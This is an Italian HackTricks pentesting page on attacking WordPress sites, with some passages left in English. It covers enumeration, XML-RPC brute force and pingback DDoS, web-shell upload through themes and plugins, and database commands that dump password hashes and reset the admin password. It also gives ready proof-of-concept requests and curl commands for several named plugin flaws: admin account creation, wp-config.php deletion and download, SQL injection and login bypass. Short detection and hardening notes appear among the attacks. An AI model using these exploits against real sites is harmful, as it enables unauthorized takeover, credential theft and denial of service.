Wordpress
Reading time: 33 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Informazioni di base
-
Uploaded files go to:
http://10.10.10.10/wp-content/uploads/2018/08/a.txt
-
Themes files can be found in /wp-content/themes/, quindi se modifichi del php del tema per ottenere RCE probabilmente userai quel percorso. Per esempio: Usando theme twentytwelve puoi access il file 404.php in: /wp-content/themes/twentytwelve/404.php
-
Another useful url could be: /wp-content/themes/default/404.php
-
In wp-config.php puoi trovare la password root del database.
-
Percorsi di login di default da controllare: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
File principali di WordPress
index.php
license.txt
contiene informazioni utili come la versione di WordPress installata.wp-activate.php
viene usato per il processo di attivazione via email durante la configurazione di un nuovo sito WordPress.- Cartelle di login (possono essere rinominate per nasconderle):
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
xmlrpc.php
è un file che rappresenta una funzionalità di WordPress che permette di trasmettere dati usando HTTP come meccanismo di trasporto e XML come meccanismo di codifica. Questo tipo di comunicazione è stato sostituito dalla WordPress REST API.- La cartella
wp-content
è la directory principale dove sono memorizzati plugin e theme. wp-content/uploads/
è la directory dove vengono conservati i file caricati sulla piattaforma.wp-includes/
è la directory dove sono archiviati i file core, come certificati, font, file JavaScript e widget.wp-sitemap.xml
Nelle versioni di WordPress 5.5 e successive, WordPress genera un file sitemap XML con tutti i post pubblici e i post type e le tassonomie pubblicamente interrogabili.
Post exploitation
- Il file
wp-config.php
contiene le informazioni richieste da WordPress per connettersi al database come il nome del database, host del database, username e password, le chiavi di autenticazione e i salt, e il prefisso delle tabelle del database. Questo file di configurazione può anche essere usato per attivare la modalità DEBUG, utile per il troubleshooting.
Permessi utenti
- Amministratore
- Editor: Pubblica e gestisce i propri e gli altrui post
- Author: Pubblica e gestisce i propri post
- Contributor: Scrive e gestisce i propri post ma non può pubblicarli
- Subscriber: Visualizza i post e modifica il proprio profilo
Enumerazione passiva
Ottenere la versione di WordPress
Controlla se riesci a trovare i file /license.txt
o /readme.html
All'interno del codice sorgente della pagina (esempio da https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
- File di collegamento CSS
- File JavaScript
Ottieni plugin
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Ottenere temi
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Estrarre le versioni in generale
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Enumerazione attiva
Plugins and Themes
Probabilmente non riuscirai a trovare tutti i Plugins and Themes disponibili. Per scoprirli tutti, dovrai eseguire attivamente un Brute Force su una lista di Plugins and Themes (per nostra fortuna esistono strumenti automatici che contengono queste liste).
Utenti
- ID Brute: Ottieni utenti validi da un sito WordPress effettuando un Brute Forcing degli ID utente:
curl -s -I -X GET http://blog.example.com/?author=1
Se le risposte sono 200 o 30X, significa che l'id è valido. Se la risposta è 400, allora l'id è non valido.
- wp-json: Puoi anche provare a ottenere informazioni sugli utenti interrogando:
curl http://blog.example.com/wp-json/wp/v2/users
Un altro endpoint /wp-json/
che può rivelare alcune informazioni sugli utenti è:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Nota che questo endpoint espone solo utenti che hanno pubblicato un post. Verranno fornite solo informazioni sugli utenti che hanno questa funzionalità abilitata.
Also note that /wp-json/wp/v2/pages could leak IP addresses.
- Login username enumeration: Quando effettui il login in
/wp-login.php
il messaggio è diverso e indica se lo username esiste o meno.
XML-RPC
Se xml-rpc.php
è attivo puoi eseguire un brute-force delle credenziali o usarlo per lanciare attacchi DoS verso altre risorse. (Puoi automatizzare questo processo usando questo per esempio).
Per verificare se è attivo prova ad accedere a /xmlrpc.php e invia questa richiesta:
Controlla
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
Credentials Bruteforce
wp.getUserBlogs
, wp.getCategories
or metaWeblog.getUsersBlogs
sono alcuni dei metodi che possono essere usati per eseguire brute-force sulle credentials. Se riesci a trovare uno di essi puoi inviare qualcosa del tipo:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
Il messaggio "Incorrect username or password" all'interno di una risposta con codice 200 dovrebbe apparire se le credenziali non sono valide.
Usando le credenziali corrette puoi caricare un file. Nella risposta apparirà il percorso (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Esiste anche un modo più veloce per brute-force delle credenziali usando system.multicall
poiché puoi provare diverse credenziali nella stessa richiesta:
.png)
Bypass 2FA
Questo metodo è pensato per programmi e non per esseri umani, ed è vecchio, quindi non supporta 2FA. Quindi, se hai creds validi ma l'accesso principale è protetto da 2FA, potresti essere in grado di abusare di xmlrpc.php per effettuare il login con quegli creds bypassando la 2FA. Nota che non potrai eseguire tutte le azioni che puoi fare tramite il pannello, ma potresti comunque arrivare a RCE come spiega Ippsec in https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s
DDoS or port scanning
Se riesci a trovare il metodo pingback.ping nella lista puoi far sì che Wordpress invii una richiesta arbitraria a qualsiasi host/porta.
Questo può essere usato per chiedere a migliaia di siti Wordpress di accedere a una stessa destinazione (causando così un DDoS in quella location) oppure puoi usarlo per far scansionare a Wordpress una rete interna (puoi indicare qualsiasi porta).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
Se ottieni faultCode con un valore maggiore di 0 (17), significa che la porta è aperta.
Dai un'occhiata all'uso di system.multicall
nella sezione precedente per imparare come abusare di questo metodo per causare un DDoS.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
wp-cron.php DoS
Questo file di solito esiste nella root del sito Wordpress: /wp-cron.php
Quando questo file viene accessed viene eseguita una "heavy" MySQL query, quindi può essere usato da attackers per cause un DoS.
Inoltre, di default, wp-cron.php
viene chiamato ad ogni page load (ogni volta che un client richiede una pagina Wordpress), il che su siti ad alto traffico può causare problemi (DoS).
Si consiglia di disabilitare Wp-Cron e creare un vero cronjob all'interno dell'host che esegua le azioni necessarie a intervalli regolari (senza causare problemi).
/wp-json/oembed/1.0/proxy - SSRF
Prova ad accedere a https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net e il Worpress site potrebbe fare una richiesta verso di te.
This is the response when it doesn't work:
SSRF
https://github.com/t0gu/quickpress/blob/master/core/requests.go
Questo strumento verifica se è presente la methodName: pingback.ping e il percorso /wp-json/oembed/1.0/proxy e, se esistono, prova a exploit-are them.
Strumenti automatici
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Ottenere l'accesso sovrascrivendo un bit
Più che un vero attacco, è una curiosità. Nel CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man si poteva flipare 1 bit di qualsiasi file wordpress. Quindi si poteva flipare la posizione 5389
del file /var/www/html/wp-includes/user.php
per trasformare in NOP l'operazione NOT (!
).
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Pannello RCE
Modifica di un php del tema usato (credenziali admin necessarie)
Aspetto → Editor tema → Template 404 (a destra)
Modifica il contenuto con una php shell:
Cerca su internet come accedere a quella pagina aggiornata. In questo caso devi accedere qui: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Puoi usare:
use exploit/unix/webapp/wp_admin_shell_upload
per ottenere una sessione.
RCE del plugin
plugin PHP
Potrebbe essere possibile caricare file .php come plugin.
Crea il tuo php backdoor usando ad esempio:
Poi aggiungi un nuovo plugin:
Carica il plugin e premi Install Now:
Clicca su Procced:
Probabilmente apparentemente non farà nulla, ma se vai su Media vedrai la tua shell caricata:
Accedendovi vedrai l'URL per eseguire la reverse shell:
Uploading and activating malicious plugin
Questo metodo prevede l'installazione di un plugin maligno noto per essere vulnerabile e sfruttabile per ottenere una web shell. Il processo viene eseguito tramite la dashboard di WordPress come segue:
- Plugin Acquisition: Il plugin viene ottenuto da una fonte come Exploit DB come here.
- Plugin Installation:
- Vai alla WordPress dashboard, poi vai a
Dashboard > Plugins > Upload Plugin
. - Carica il file zip del plugin scaricato.
- Plugin Activation: Una volta installato con successo, deve essere attivato tramite la dashboard.
- Exploitation:
- Con il plugin "reflex-gallery" installato e attivato, può essere sfruttato poiché è noto per essere vulnerabile.
- Il framework Metasploit fornisce un exploit per questa vulnerabilità. Caricando il modulo appropriato ed eseguendo comandi specifici, è possibile stabilire una sessione meterpreter, ottenendo accesso non autorizzato al sito.
- Si nota che questo è solo uno dei molti metodi per sfruttare un sito WordPress.
Il contenuto include elementi visivi che mostrano i passaggi nella dashboard di WordPress per installare e attivare il plugin. Tuttavia, è importante notare che sfruttare vulnerabilità in questo modo è illegale e non etico senza un'autorizzazione adeguata. Queste informazioni devono essere usate responsabilmente e solo in un contesto legale, come il penetration testing con permesso esplicito.
Per passaggi più dettagliati consulta: https://www.hackingarticles.in/wordpress-reverse-shell/
Da XSS a RCE
- WPXStrike: WPXStrike è uno script progettato per scalare una vulnerabilità di Cross-Site Scripting (XSS) a Remote Code Execution (RCE) o altre vulnerabilità critiche in WordPress. Per maggiori informazioni vedi this post. Fornisce supporto per Wordpress Versions 6.X.X, 5.X.X and 4.X.X. e consente di:
- Privilege Escalation: Crea un utente in WordPress.
- (RCE) Custom Plugin (backdoor) Upload: Carica il tuo plugin personalizzato (backdoor) su WordPress.
- (RCE) Built-In Plugin Edit: Modifica plugin built-in in WordPress.
- (RCE) Built-In Theme Edit: Modifica temi built-in in WordPress.
- (Custom) Custom Exploits: Exploit personalizzati per plugin/temi di terze parti di WordPress.
Post Exploitation
Estrai username e password:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Cambia la password dell'amministratore:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Wordpress Plugins Pentest
Superficie d'attacco
Sapere come un plugin di Wordpress può esporre funzionalità è fondamentale per trovare vulnerabilità nella sua funzionalità. Puoi vedere come un plugin potrebbe esporre funzionalità nei punti seguenti e alcuni esempi di plugin vulnerabili in this blog post.
wp_ajax
Uno dei modi in cui un plugin può esporre funzioni agli utenti è tramite gestori AJAX. Questi possono contenere bug di logica, autorizzazione o autenticazione. Inoltre, è abbastanza frequente che queste funzioni basino sia l'autenticazione sia l'autorizzazione sull'esistenza di un Wordpress nonce che qualsiasi utente autenticato nell'istanza Wordpress potrebbe avere (indipendentemente dal suo ruolo).
Queste sono le funzioni che possono essere usate per esporre una funzione in un plugin:
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
L'uso di nopriv
rende l'endpoint accessibile a qualsiasi utente (anche non autenticato).
caution
Inoltre, se la funzione verifica soltanto l'autorizzazione dell'utente tramite la funzione wp_verify_nonce
, questa funzione controlla solo che l'utente sia autenticato; di solito non verifica il ruolo dell'utente. Quindi utenti con privilegi bassi potrebbero avere accesso ad azioni riservate a utenti con privilegi elevati.
- REST API
È anche possibile esporre funzioni di WordPress registrando una REST API usando la funzione register_rest_route
:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
Il permission_callback
è una callback a una funzione che verifica se un determinato utente è autorizzato a chiamare il metodo API.
Se viene usata la funzione integrata __return_true
, salterà semplicemente il controllo delle autorizzazioni utente.
- Accesso diretto al file php
Ovviamente, Wordpress usa PHP e i file all'interno dei plugin sono direttamente accessibili dal web. Quindi, nel caso in cui un plugin esponga una funzionalità vulnerabile che viene attivata semplicemente accedendo al file, sarà sfruttabile da qualsiasi utente.
Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
Alcuni plugin implementano scorciatoie di “trusted header” per integrazioni interne o reverse proxy e poi usano quell'header per impostare il contesto dell'utente corrente per le richieste REST. Se l'header non è vincolato crittograficamente alla richiesta da un componente upstream, un attaccante può falsificarlo e colpire route REST privilegiate come amministratore.
- Impact: elevazione di privilegi non autenticata a amministratore creando un nuovo account amministratore tramite la core users REST route.
- Example header:
X-Wcpay-Platform-Checkout-User: 1
(forza l'ID utente 1, tipicamente il primo account amministratore). - Exploited route:
POST /wp-json/wp/v2/users
con un array ruolo elevato.
PoC
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
Why it works
- Il plugin mappa un header controllato dal client allo stato di autenticazione e bypassa i controlli di capability.
- WordPress core si aspetta la capability
create_users
per questa route; il plugin la bypassa impostando direttamente il contesto dell'utente corrente a partire dall'header.
Expected success indicators
- HTTP 201 con un body JSON che descrive l'utente creato.
- Un nuovo utente admin visibile in
wp-admin/users.php
.
Detection checklist
- Grep for
getallheaders()
,$_SERVER['HTTP_...']
, or vendor SDKs that read custom headers to set user context (e.g.,wp_set_current_user()
,wp_set_auth_cookie()
). - Revisiona le registrazioni REST per callback privilegiate che non hanno solidi controlli
permission_callback
e che invece si basano sugli header della richiesta. - Cerca l'uso di funzioni core di gestione utenti (
wp_insert_user
,wp_create_user
) all'interno di handler REST che sono vincolati solo dai valori degli header.
Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress themes and plugins frequently expose AJAX handlers through the wp_ajax_
and wp_ajax_nopriv_
hooks. When the nopriv variant is used the callback becomes reachable by unauthenticated visitors, so any sensitive action must additionally implement:
- A capability check (e.g.
current_user_can()
or at leastis_user_logged_in()
), and - A CSRF nonce validated with
check_ajax_referer()
/wp_verify_nonce()
, and - Strict input sanitisation / validation.
Il tema multipurpose Litho (< 3.1) ha dimenticato questi 3 controlli nella funzionalità Remove Font Family e ha finito per distribuire il seguente codice (semplificato):
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
Issues introduced by this snippet:
- Accesso non autenticato – the
wp_ajax_nopriv_
hook is registered. - Nessun nonce / capability check – qualsiasi visitatore può raggiungere l'endpoint.
- Nessuna sanificazione del percorso – la stringa controllata dall'utente
fontfamily
viene concatenata a un percorso del filesystem senza filtraggio, consentendo il classico traversal../../
.
Sfruttamento
Un attaccante può eliminare qualsiasi file o directory al di sotto della directory base uploads (normalmente <wp-root>/wp-content/uploads/
) inviando una singola richiesta HTTP POST:
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
Poiché wp-config.php
risiede al di fuori della cartella uploads, quattro sequenze ../
sono sufficienti in un'installazione predefinita. Cancellare wp-config.php
forza WordPress nella procedura di installazione alla visita successiva, abilitando un full site take-over (l'attaccante fornisce semplicemente una nuova configurazione DB e crea un utente admin).
Altri target rilevanti includono i file .php
di plugin/tema (per compromettere plugin di sicurezza) o le regole .htaccess
.
Detection checklist
- Qualsiasi callback
add_action( 'wp_ajax_nopriv_...')
che chiami helper del filesystem (copy()
,unlink()
,$wp_filesystem->delete()
, ecc.). - Concatenazione di input utente non sanitizzato nei percorsi (cerca
$_POST
,$_GET
,$_REQUEST
). - Assenza di
check_ajax_referer()
ecurrent_user_can()
/is_user_logged_in()
.
Privilege escalation via ripristino di ruoli obsoleti e autorizzazione mancante (ASE "View Admin as Role")
Molti plugin implementano una funzionalità "view as role" o di cambio temporaneo di ruolo salvando il/i ruolo/i originale/i nei user meta in modo che possano essere ripristinati successivamente. Se il percorso di ripristino si basa soltanto su parametri della richiesta (es., $_REQUEST['reset-for']
) e su una lista mantenuta dal plugin senza verificare le capabilities e un nonce valido, questo diventa una vertical privilege escalation.
Un esempio reale è stato trovato nel plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Il ramo di reset ripristinava i ruoli basandosi su reset-for=<username>
se lo username appariva in un array interno $options['viewing_admin_as_role_are']
, ma non eseguiva né un controllo current_user_can()
né una verifica del nonce prima di rimuovere i ruoli correnti e riaggiungere i ruoli salvati nei user meta _asenha_view_admin_as_original_roles
:
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
Perché è sfruttabile
- Si fida di
$_REQUEST['reset-for']
e di un'opzione del plugin senza autorizzazione lato server. - Se un utente in precedenza aveva privilegi maggiori salvati in
_asenha_view_admin_as_original_roles
e è stato degradato, può ripristinarli raggiungendo il percorso di reset. - In alcune installazioni, qualsiasi utente autenticato potrebbe avviare un reset per un altro username ancora presente in
viewing_admin_as_role_are
(controllo di autorizzazione difettoso).
Sfruttamento (esempio)
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
Nelle build vulnerabili questo rimuove i ruoli correnti e riaggiunge i ruoli originali salvati (es., administrator
), elevando di fatto i privilegi.
Detection checklist
- Cerca feature di role-switching che persistono i “ruoli originali” nei user meta (es.,
_asenha_view_admin_as_original_roles
). - Identifica reset/restore paths che:
- Leggono username da
$_REQUEST
/$_GET
/$_POST
. - Modificano i ruoli tramite
add_role()
/remove_role()
senzacurrent_user_can()
ewp_verify_nonce()
/check_admin_referer()
. - Autorizzano basandosi su un array di option del plugin (es.,
viewing_admin_as_role_are
) invece che sulle capabilities dell'attore.
Escalation di privilegi non autenticata via cookie‑trusted user switching su public init (Service Finder “sf-booking”)
Alcuni plugin collegano gli user-switching helper all'hook pubblico init
e ricavano l'identità da un cookie controllato dal client. Se il codice chiama wp_set_auth_cookie()
senza verificare l'autenticazione, capability e un nonce valido, qualsiasi visitatore non autenticato può forzare il login come un ID utente arbitrario.
Pattern tipico vulnerabile (semplificato da Service Finder Bookings ≤ 6.1):
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');
function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}
Perché è sfruttabile
- Il hook pubblico
init
rende il handler raggiungibile da utenti non autenticati (nessuna guardiais_user_logged_in()
). - L'identità è ricavata da un cookie modificabile dal client (
original_user_id
). - Una chiamata diretta a
wp_set_auth_cookie($uid)
autentica il richiedente come quell'utente senza alcun controllo di capability/nonce.
Sfruttamento (non autenticato)
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close
Considerazioni WAF per WordPress/plugin CVEs
Generic edge/server WAFs sono tarati per pattern ampi (SQLi, XSS, LFI). Molte vulnerabilità WordPress/plugin ad alto impatto sono bug di logica/auth specifici dell'applicazione che sembrano traffico benigno a meno che il motore non capisca le route di WordPress e la semantica dei plugin.
Offensive notes
- Target plugin-specific endpoints with clean payloads:
admin-ajax.php?action=...
,wp-json/<namespace>/<route>
, custom file handlers, shortcodes. - Exercise unauth paths first (AJAX
nopriv
, REST with permissivepermission_callback
, public shortcodes). Default payloads often succeed without obfuscation. - Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
Defensive notes
- Don’t rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly.
- Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters.
Protezione WordPress
Aggiornamenti regolari
Assicurati che WordPress, plugin e temi siano aggiornati. Conferma anche che l'aggiornamento automatico sia abilitato in wp-config.php:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Inoltre, installa solo plugin e temi WordPress affidabili.
Plugin di sicurezza
Altre raccomandazioni
- Rimuovi l'utente predefinito admin
- Usa password robuste e 2FA
- Revisiona periodicamente i permessi degli utenti
- Limita i tentativi di login per prevenire attacchi Brute Force
- Rinomina il file
wp-admin.php
e consenti l'accesso solo internamente o da determinati indirizzi IP.
SQL Injection non autenticata tramite validazione insufficiente (WP Job Portal <= 2.3.2)
Il plugin di recruitment WP Job Portal esponeva un task savecategory che alla fine esegue il seguente codice vulnerabile all'interno di modules/category/model.php::validateFormData()
:
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
Problemi introdotti da questo snippet:
- Input utente non sanificato –
parentid
proviene direttamente dalla richiesta HTTP. - Concatenazione di stringhe all'interno della clausola WHERE – nessun
is_numeric()
/esc_sql()
/ prepared statement. - Accessibilità non autenticata – anche se l'azione è eseguita tramite
admin-post.php
, l'unico controllo presente è un CSRF nonce (wp_verify_nonce()
), che qualsiasi visitatore può recuperare da una pagina pubblica che incorpora lo shortcode[wpjobportal_my_resumes]
.
Sfruttamento
- Prendi un nonce fresco:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
- Inietta SQL arbitrario abusando di
parentid
:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
La risposta rivela il risultato della query iniettata o modifica il database, dimostrando la vulnerabilità SQLi.
Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Un'altra task, downloadcustomfile, permetteva ai visitatori di scaricare qualsiasi file sul disco tramite path traversal. Il sink vulnerabile si trova in modules/customfield/model.php::downloadCustomUploadedFile()
:
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
$file_name
è controllato dall'attaccante ed è concatenato senza sanitisation. Di nuovo, l'unica barriera è una CSRF nonce che può essere recuperata dalla pagina resume.
Exploitation
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
Il server risponde con il contenuto di wp-config.php
, leaking DB credentials and auth keys.
Compromissione di account non autenticata via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
Molti theme/plugin distribuiscono helper per "social login" esposti tramite admin-ajax.php. Se un'azione AJAX non autenticata (wp_ajax_nopriv_...) si fida di identificatori forniti dal client quando mancano i dati del provider e poi invoca wp_set_auth_cookie(), questo diventa un full authentication bypass.
Pattern tipico difettoso (semplificato)
public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb': /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token */ break;
// other providers ...
default: /* unsupported/missing provider – execution continues */ break;
}
// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');
if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}
$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
Perché è sfruttabile
- Accessibile senza autenticazione tramite admin-ajax.php (azione wp_ajax_nopriv_…).
- Mancano controlli nonce/capability prima di modificare lo stato.
- Mancata verifica del provider OAuth/OpenID; il ramo di default accetta l'input dell'attaccante.
- get_user_by('email', $_POST['id']) seguito da wp_set_auth_cookie($uid) autentica il richiedente come qualsiasi indirizzo email esistente.
Sfruttamento (senza autenticazione)
- Prerequisiti: l'attaccante può raggiungere /wp-admin/admin-ajax.php e conosce/indovina un'email utente valida.
- Impostare provider su un valore non supportato (o ometterlo) per raggiungere il ramo di default e passare id=<victim_email>.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded
action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
Expected success indicators
- HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}.
- Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated.
Finding the action name
- Inspect the theme/plugin for add_action('wp_ajax_nopriv_...', '...') registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php).
- Grep for wp_set_auth_cookie(), get_user_by('email', ...) inside AJAX handlers.
Detection checklist
- Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=
. - 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent.
Hardening
- Do not derive identity from client input. Only accept emails/IDs originating from a validated provider token/ID.
- Require CSRF nonces and capability checks even for login helpers; avoid registering wp_ajax_nopriv_ unless strictly necessary.
- Validate and verify OAuth/OIDC responses server-side; reject missing/invalid providers (no fallback to POST id).
- Consider temporarily disabling social login or virtually patching at the edge (block the vulnerable action) until fixed.
Patched behaviour (Jobmonster 4.8.0)
- Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']).
Escalation di privilegi non autenticata tramite minting di token/chiavi REST su identità prevedibile (OttoKit/SureTriggers ≤ 1.0.82)
Alcuni plugin espongono endpoint REST che mintano reusable “connection keys” o token senza verificare le capability del chiamante. Se la route autentica solo su un attributo prevedibile (es., username) e non vincola la key a un utente/sessione con controlli di capability, un attacker non autenticato può mintare una key e invocare azioni privilegiate (creazione account admin, azioni del plugin → RCE).
- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
- Impact: presa completa del controllo concatenando la key mintata ad azioni privilegiate interne
